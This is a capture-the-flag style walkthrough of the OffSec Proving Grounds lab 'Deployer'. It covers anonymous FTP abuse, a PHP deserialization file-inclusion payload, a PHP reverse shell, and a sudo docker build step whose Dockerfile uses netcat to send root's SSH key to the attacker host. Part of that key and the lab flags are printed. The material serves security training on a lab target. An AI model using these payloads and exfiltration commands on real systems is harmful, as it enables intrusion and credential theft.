Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - DEPLOYER

·3782 words·18 mins·
OFFSEC PG PRACTICE FTP PHP PHP SERIALIZE DOCKER DOCKER BUILD
Table of Contents

Summary
#

The FTP service on port 21 allows for anonymous authentication. In the available files there is a site configuration revealing a new hostname to add to /etc/hosts and PHP code of the website. Analyzing the code we’re able to create a URL encoded serialized object which we can send to and endpoint to get LFI. Once we have LFI, we read the /etc/vsftpd.conf file to see where FTP root directory is on the target, drop a PHP reverse shell and use the LFI again to get initial access as the shanah user. As this user we upload our own SSH key to get a more stable shell, logging in via SSH. Listing the sudo privileges, we see that this user can run /usr/bin/docker images and /usr/bin/docker build * as root without a password. Also there is an id_rsa.bak file, owned by the root user in the /opt directory. Creating a Dockerfile and using an existing image as template we exfiltrate the id_rsa.bak file and use it to escalate our privileges to the root user.

Specifications
#

  • Name: DEPLOYER
  • Platform: PG PRACTICE
  • Points: 25
  • Difficulty: Hard
  • System overview: Linux deployer 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.206.158
  • OFFSEC provided credentials: None
  • HASH: local.txt:f2d82936f31844c6c82a03ccace3dbfa
  • HASH: proof.txt:45840c57780835217af2d70c7a3bbe50

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir deployer && cd deployer && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 18 18:59 .
drwxrwxr-x 70 kali kali 4096 Sep 18 18:59 ..
drwxrwxr-x  2 kali kali 4096 Sep 18 18:59 enum
drwxrwxr-x  2 kali kali 4096 Sep 18 18:59 exploits
drwxrwxr-x  2 kali kali 4096 Sep 18 18:59 files
drwxrwxr-x  2 kali kali 4096 Sep 18 18:59 tools
drwxrwxr-x  2 kali kali 4096 Sep 18 18:59 uploads

## set bash variable
ip=192.168.206.158

## ping target to check if it's online
ping $ip

PING 192.168.206.158 (192.168.206.158) 56(84) bytes of data.
64 bytes from 192.168.206.158: icmp_seq=1 ttl=61 time=19.7 ms
64 bytes from 192.168.206.158: icmp_seq=2 ttl=61 time=20.2 ms
^C
--- 192.168.206.158 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 19.659/19.932/20.205/0.273 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.206.158:21
Open 192.168.206.158:22
Open 192.168.206.158:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-18 19:00 CEST
Initiating Ping Scan at 19:00
Scanning 192.168.206.158 [4 ports]
Completed Ping Scan at 19:00, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:00
Completed Parallel DNS resolution of 1 host. at 19:00, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:00
Scanning 192.168.206.158 [3 ports]
Discovered open port 22/tcp on 192.168.206.158
Discovered open port 21/tcp on 192.168.206.158
Discovered open port 80/tcp on 192.168.206.158
Completed SYN Stealth Scan at 19:00, 0.06s elapsed (3 total ports)
Nmap scan report for 192.168.206.158
Host is up, received reset ttl 61 (0.024s latency).
Scanned at 2025-09-18 19:00:35 CEST for 0s

PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 61
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (172B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
21/tcp open  ftp     syn-ack ttl 61
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
21,22,80

## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 61 vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.189
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Sep 18 16:56 bak
| drwxr-xr-x    2 113      118          4096 May 11  2021 ftp
| drwxr-xr-x    4 0        0            4096 May 11  2021 sec
| drwxr-xr-x    8 0        0            4096 May 11  2021 site
|_drwxr-xr-x    5 0        0            4096 May 11  2021 web
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6RTbIkkbQiV2Zk3u8oamV5srWIJeYUY5O2XXmTnKENfrPXeHup1+3wBOkTO4Mu17wBSw6yvXyj+lleKjQ6Hnje7KozW5q4U6ijd3LmvHE34UHq/qUbCUbiwY06N2Mj0NQiZqWW8z48eTzGsuh6u1SfGIDnCCq3sWm37Y5LIUvqAFyIEJZVsC/UyrJDPBE+YIODNbN2QLD9JeBr8P4n1rkMaXbsHGywFtutdSrBZwYuRuB2W0GjIEWD/J7lxKIJ9UxRq0UxWWkZ8s3SNqUq2enfPwQt399nigtUerccskdyUD0oRKqVnhZCjEYfX3qOnlAqejr3Lpm8nA31pp6lrKNAmQEjdSO8Jxk04OR2JBxcfVNfs=
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=
|   256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

21/tcp open  ftp     syn-ack ttl 61 vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.189
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Sep 18 16:56 bak
| drwxr-xr-x    2 113      118          4096 May 11  2021 ftp
| drwxr-xr-x    4 0        0            4096 May 11  2021 sec
| drwxr-xr-x    8 0        0            4096 May 11  2021 site
|_drwxr-xr-x    5 0        0            4096 May 11  2021 web

If we browse to port 80, we get redirected to (http://deployer.off/). So let’s add this hostname to /etc/hosts.

## add `deployer.off` to `/etc/hosts`
echo "192.168.206.158 deployer.off" | sudo tee -a /etc/hosts

Once we added this, refreshing the page, allows us to access the web page, but there isn’t any functionality we can (ab)use.

As shown in the NMAP output the FTP service allows anonymous login. So, let’s log into the FTP server with anonymous:anonymous. Testing for write capabilities, we can write to the FTP service in the /ftp directory. Looking in the directories shows there are a lot of files. To download them all in one command, exit the FTP service. Create a FTP directory and download all files locally. In total there are 27 directories and 346 files.

## log into the FTP server using `anonymous:anonymous`
ftp anonymous@$ip
Connected to 192.168.206.158.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

## testing upload functionality with `files/ports` file in the `ftp` directory
ftp> put files/ports ftp/ports
local: files/ports remote: ftp/ports
229 Entering Extended Passive Mode (|||47739|)
150 Ok to send data.
100% |****************************************************************************************************|   108      561.00 KiB/s    00:00 ETA
226 Transfer complete.
108 bytes sent in 00:00 (2.52 KiB/s)

## exit FTP
ftp> exit
221 Goodbye.

## change directory and make directory
cd files && mkdir ftp && cd ftp

## download all files from the FTP service
wget -m --no-passive ftp://anonymous:anonymous@$ip

## list all downloaded files
tree .
.
└── 192.168.206.158
    ├── bak
    │   ├── apt.extended_states.0
    │   └── apt.extended_states.1.gz
    ├── ftp
    ├── sec
    │   ├── access.conf
    │   ├── capability.conf
    │   ├── group.conf
    │   ├── limits.conf
    │   ├── limits.d
    │   ├── namespace.conf
    │   ├── namespace.d
    │   ├── namespace.init
    │   ├── pam_env.conf
    │   ├── sepermit.conf
    │   └── time.conf
    ├── site
    │   ├── apache2.conf
    │   ├── conf-available
    │   │   ├── charset.conf
    │   │   ├── localized-error-pages.conf
    │   │   ├── other-vhosts-access-log.conf
    │   │   ├── security.conf
    │   │   └── serve-cgi-bin.conf
<SNIP>

In the 192.168.206.158/site/sites-enabled/002.conf there is reference to another hostname: und3r_dev.deployer.off. Let’s add this to the /etc/hosts file.

## print `192.168.150.158/site/sites-enabled/002.conf`
cat 192.168.206.158/site/sites-enabled/002.conf
<VirtualHost *:80>
AssignUserId shanah shanah
ServerAdmin webmaster@localhost
DocumentRoot /var/www/dev
ServerName und3r_dev.deployer.off
ServerAlias und3r_dev.deployer.off
<Directory "/var/www/dev">
  Options FollowSymLinks
    AllowOverride All
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

## add `und3r_dev.deployer.off` to `/etc/hosts`
echo "192.168.206.158 und3r_dev.deployer.off" | sudo tee -a /etc/hosts

Browsing to this URL: (http://und3r_dev.deployer.off/) doesn’t give us extra functionality.

Another interesting file 192.168.150.158/web/dev/index.php, which contains PHP code at the beginning of the file. This code combines a class definition with a conditional structure that handles HTTP requests and introduces issues due to improper handling of user input. The class is designed to execute file inclusion when an instance is unserialized, which can be dangerous if $file contains a filepath.

cat 192.168.206.158/web/dev/index.php 
<?php
class Page
{
    public $file;

    public function __wakeup()
    {
        include($this->file);
    }
}

if (!isset($_POST['page'])){
        if (strpos(urldecode($_GET['page']),'..')!==false){
                include('/var/www/dev/lfi-prev.html');
                }
        else{
                include('/var/www/dev/'.$_GET['page']);
        }
        }
else{
        $f=$_POST['page'];
        unserialize($f);
}
?>
<SNIP>

To exploit this code and abusing the POST request, we need a serialized page object with our $file value of /etc/passwd. Let’s create an invert of previous code to serialize the object. We need to URL encode the payload, because we don’t want it to fail because of bad characters. Running the exploit gives us a serialized object URL encoded, namely: O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D.

## change directory
cd exploits

## create a file called `exploit.php` with this content
<?php
class Page
{
    public $file = '/etc/passwd';
}
$f = new Page;
$serialized = serialize($f);
echo $serialized . "\n";
echo urlencode($serialized);
?>

## run the exploit
php exploit.php            
O:4:"Page":1:{s:4:"file";s:11:"/etc/passwd";}
O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D

Now, we add that to a curl POST request and indeed, the response contains /etc/passwd

## `curl` POST request and response server
curl -X POST http://und3r_dev.deployer.off/index.php \
-d "page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ftp:x:113:118:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
shanah:x:1000:1000::/home/shanah:/bin/bash
<SNIP>

Testing for RFI to get a download a remote PHP script doesn’t work, probably because most modern PHP installations have allow_url_include = Off by default, preventing remote file inclusion (RFI). Perhaps we can create an RCE via Local File Inclusion (LFI) with a PHP file. For this to work we need to upload our PHP file to the server. Perhaps we can use the FTP service for this, but we don’t know the root directory of the FTP service. So, let’s use the working LFI to get the /etc/vsftpd.conf of the server.

############ RFI TEST -> DOESN'T WORK
## RFI PHP script called `exploit_rfi.php` to create a serialized object
<?php
class Page
{
    public $file = 'http://192.168.45.189:9001/test.php';
}
$f = new Page;
$serialized = serialize($f);
echo $serialized . "\n";
echo urlencode($serialized);
?>

## run `exploit_rfi.php`
php exploit_rfi.php
O:4:"Page":1:{s:4:"file";s:35:"http://192.168.45.189:9001/test.php";}
O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A35%3A%22http%3A%2F%2F192.168.45.189%3A9001%2Ftest.php%22%3B%7D

## setup a local webserver
python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...

## send `curl` to test RFI using the serialized object
curl -X POST http://und3r_dev.deployer.off/index.php \
-d "page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A35%3A%22http%3A%2F%2F192.168.45.189%3A9001%2Ftest.php%22%3B%7D"

############ RFI TEST -> DOESN'T WORK

## LFI PHP script called `exploit.php` to create a serialized object
<?php
class Page
{
    public $file = '/etc/vsftpd.conf';
}
$f = new Page;
$serialized = serialize($f);
echo $serialized . "\n";
echo urlencode($serialized);
?>

## run exploit to get serialized object
php exploit.php                                       
O:4:"Page":1:{s:4:"file";s:16:"/etc/vsftpd.conf";}
O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A16%3A%22%2Fetc%2Fvsftpd.conf%22%3B%7D 

## `curl` POST request and response server
curl -X POST http://und3r_dev.deployer.off/index.php \
-d "page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A16%3A%22%2Fetc%2Fvsftpd.conf%22%3B%7D"                  
listen=YES
listen_ipv6=NO
anonymous_enable=YES
file_open_mode=0666
anon_umask=022
write_enable=YES
anon_root=/srv
anon_upload_enable=YES
allow_writeable_chroot=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
#chown_uploads=YES
chroot_local_user=NO
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd

So the root directory of the FTP service is: /srv. Because we could write to the /ftp directory, this would mean we can write to the /srv/ftp directory on the target to drop out own PHP file. Let’s first download a PHP reverse shell (https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php) and upload it to the target using FTP. Once uploaded we can change our LFI PHP script to serialize our $file (/srv/ftp/php-reverse-shell.php) and use curl to trigger exploit on the target and get initial access as the shanah user in the / directory.

## change directory
cd uploads

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## setup a listener
nc -lvnp 9001       
listening on [any] 9001 ...

## download PHP reverse shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php

## change rules 49,50 in this script to our local IP address on tun0 and port
$ip = '192.168.45.189';  // CHANGE THIS
$port = 9001;       // CHANGE THIS

## log into the FTP server using `anonymous:anonymous`
ftp anonymous@$ip
Connected to 192.168.206.158.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

## change directory
ftp> cd ftp
250 Directory successfully changed.

## upload PHP reverse shell
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||47969|)
150 Ok to send data.
100% |****************************************************************************************************|  5491       58.83 MiB/s    00:00 ETA
226 Transfer complete.
5491 bytes sent in 00:00 (122.31 KiB/s)

## exit FTP
ftp> exit
221 Goodbye.

## change directory
cd exploits

## LFI script called `exploit_rce.php` to include our uploaded PHP file
<?php
class Page
{
    public $file = '/srv/ftp/php-reverse-shell.php';
}
$f = new Page;
$serialized = serialize($f);
echo $serialized . "\n";
echo urlencode($serialized);
?>

## run the exploit
php exploit_rce.php 
O:4:"Page":1:{s:4:"file";s:30:"/srv/ftp/php-reverse-shell.php";}
O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A30%3A%22%2Fsrv%2Fftp%2Fphp-reverse-shell.php%22%3B%7D

## `curl` POST request and response server
curl -X POST http://und3r_dev.deployer.off/index.php \
-d "page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A30%3A%22%2Fsrv%2Fftp%2Fphp-reverse-shell.php%22%3B%7D"

## catch the reverse shell
nc -lvnp 9001       
listening on [any] 9001 ...
listening on [any] 9001 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.206.158] 41378
Linux deployer 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 17:13:48 up 19 min,  0 users,  load average: 1.30, 1.22, 0.88
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(shanah) gid=1000(shanah) groups=1000(shanah)
/bin/sh: 0: can't access tty; job control turned off
$ 


## print the current user
$ whoami
shanah

## print the current working directory
$ pwd
/

## find `local.txt` on the filesystem
$ find / -iname 'local.txt' 2>/dev/null
/home/shanah/local.txt

## print `local.txt`
$ cat /home/shanah/local.txt
f2d82936f31844c6c82a03ccace3dbfa

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
shanah@deployer:/$ export TERM=xterm && stty columns 200 rows 200

As the shanah user, when we check our sudo privileges there is an error: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted and unable to initialize policy plugin.

## check sudo privileges
shanah@deployer:/$ sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin

Perhaps we’re in a weird shell. So, let’s get an shell via SSH. Create an SSH key pair upload our own SSH public key as authorized_keys to the /home/shanah/.ssh directory and log into the target via SSH.

## change directory
cd files

## run ssh-keygen to generate a key pair, quiet mode, blank password and named keypair `shanah.key`
ssh-keygen -q -N '' -f shanah.key

## list content directory
total 24
drwxrwxr-x 3 kali kali 4096 Sep 18 20:48 .
drwxrwxr-x 7 kali kali 4096 Sep 18 18:59 ..
drwxrwxr-x 3 kali kali 4096 Sep 18 19:04 ftp
-rw-rw-r-- 1 kali kali  108 Sep 18 19:01 ports
-rw------- 1 kali kali  399 Sep 18 20:48 shanah.key
-rw-r--r-- 1 kali kali   91 Sep 18 20:48 shanah.key.pub

## change the public key to `authorized_keys`
mv shanah.key.pub authorized_keys 

## change permissions on private key `shanah.key`
chmod 600 shanah.key

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## setup local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target:
## change directory
shanah@deployer:/$ cd /home/shanah/
shanah@deployer:/home/shanah$ 

## make `.ssh` directory, set permissions and change directory
shanah@deployer:/home/shanah$ mkdir .ssh && chmod 700 .ssh && cd .ssh

## download `authorized_keys`
shanah@deployer:/home/shanah/.ssh$ wget http://192.168.45.189/authorized_keys
--2025-09-18 18:50:46--  http://192.168.45.189/authorized_keys
Connecting to 192.168.45.189:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 91 [application/octet-stream]
Saving to: 'authorized_keys'

authorized_keys                                     0%[                                                                                          authorized_keys                                   100%[=============================================================================================================>]      91  --.-KB/s    in 0s      

2025-09-18 18:50:46 (14.4 MB/s) - 'authorized_keys' saved [91/91]

## set permissions in `authorized_keys `
shanah@deployer:/home/shanah/.ssh$ chmod 600 authorized_keys 

## log into the target using SSH and own SSH private key 
ssh -i shanah.key shanah@$ip
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 18 Sep 2025 06:59:13 PM UTC

  System load:  0.0               Processes:                229
  Usage of /:   64.2% of 9.78GB   Users logged in:          0
  Memory usage: 50%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   2%                IPv4 address for ens160:  192.168.206.158


129 updates can be applied immediately.
2 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


*** System restart required ***
Last login: Thu Sep 18 18:57:28 2025 from 192.168.45.189
shanah@deployer:~$ 

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## start local webserver
python3 -m http.server 80

## on target
## download `linpeas.sh`
shanah@deployer:~$ wget http://192.168.45.189/linpeas.sh
--2025-09-18 19:23:36--  http://192.168.45.189/linpeas.sh
Connecting to 192.168.45.189:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh.1’

linpeas.sh.1                         100%[===================================================================>] 939.29K  5.36MB/s    in 0.2s    

2025-09-18 19:23:37 (5.36 MB/s) - ‘linpeas.sh.1’ saved [961834/961834]

## set the execution bit
shanah@deployer:~$ chmod +x linpeas.sh

## run `linpeas.sh`
shanah@deployer:~$ ./linpeas.sh 

The linpeas.sh output shows we can write to the /opt directory and in this directory there is also a id_rsa.bak file owned by the root user. Due to set permissions we can’t read this file. However, checking our sudo privileges, we see we’re able to run /usr/bin/docker images and /usr/bin/docker build * as root without a password. So, perhaps we can use docker in combination with sudo (root) to read this id_rsa.bak file. We first run the sudo docker images to list available images. There is an alpine image.

## list content `/opt`
shanah@deployer:~$ ls -la /opt/
total 16
drwxrwxrwx  3 root root 4096 May 11  2021 .
drwxr-xr-x 20 root root 4096 Jan  7  2021 ..
drwx--x--x  4 root root 4096 May 11  2021 containerd
-r--------  1 root root 2602 May 11  2021 id_rsa.bak

## listing sudo privileges
shanah@deployer:~$ sudo -l
Matching Defaults entries for shanah on deployer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shanah may run the following commands on deployer:
    (root) NOPASSWD: /usr/bin/docker images
    (root) NOPASSWD: /usr/bin/docker build *

## list docker images
shanah@deployer:~$ sudo docker images
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
alpine       latest    d4ff818577bc   4 years ago   5.6MB

Using this alpine image we can, using sudo, copy the id_rsa.bak file in the new image and exfiltrate this file using netcat. First, create a Dockerfile in the /opt directory using the alpine image as base. Run the docker build command, get the SSH private key of the root user and escalate our privileges.

## change directory
cd files

## setup a listener redirecting the output to `root.key`
nc -lvnp 9001 > root.key
listening on [any] 9001 ...

## on target:
## change directory
shanah@deployer:~$ cd /opt/
shanah@deployer:/opt$ 

## create `Dockerfile` with this content:
FROM alpine

COPY id_rsa.bak /var/tmp/id_rsa
RUN nc -w 3 192.168.45.189 9001 < /var/tmp/id_rsa

## run the docker build command
shanah@deployer:/opt$ sudo docker build -f /opt/Dockerfile /opt/

## catch the file
nc -lvnp 9001 > root.key     
listening on [any] 9001 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.206.158] 43287

## print `root.key`
cat root.key                          
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAumJ1+QU60R/klNXxDRTGlb8i6bbfo4extsidR7k1KGQHtCCAIprj
u2pW8Z+RQWKzFOfxPpMfu0t30Vbif8YM4jPGR4AnLu75fHDIJ9X2s4HqXKRpHPXclHpHC0
tkGvhYvOHmx9vaHPdnlFyIkca4uIWDaTHrCdC7JIasw/n6nTjlQuBiYb/e1n1aCpbQsTTl
teTGZLwO/Gh/xkNFlitUcGwX69f7k3rITgQgjutqZyemmq57kiYZz+JTsc9AyJh+2VYrH7
w7vnj8R/e7o8uT9c+JjMqyjfRRvwdaOdkiJF2K3Qrbe84ZJWlP67YLDGct4DLVc7YOiQNa
ADPo7ioSdgMtYSMgp4AiGEsLZnyE1wzZ2Sjuz4vFICfcPWPGjV4O93MEUTcX1RAf4IuJAm
H17622j4BRtc2uZ9gRz4kuLRpj8/YIkZYfRuLx5LtWTNpn2ECzkYU+kaoe9wV+bKL2OHSu
PQRJutwAS/NLkkL8f+FLyh17a0L+7f98UTVMWRblAAAFiBiaOLAYmjiwAAAAB3NzaC1yc2
EAAAGBALpidfkFOtEf5JTV8Q0UxpW/Ium236OHsbbInUe5NShkB7QggCKa47tqVvGfkUFi
sxTn8T6TH7tLd9FW4n/GDOIzxkeAJy7u+XxwyCfV9rOB6lykaRz13JR6RwtLZBr4WLzh5s
fb2hz3Z5RciJHGuLiFg2kx6wnQuySGrMP5+p045ULgYmG/3tZ9WgqW0LE05bXkxmS8Dvxo
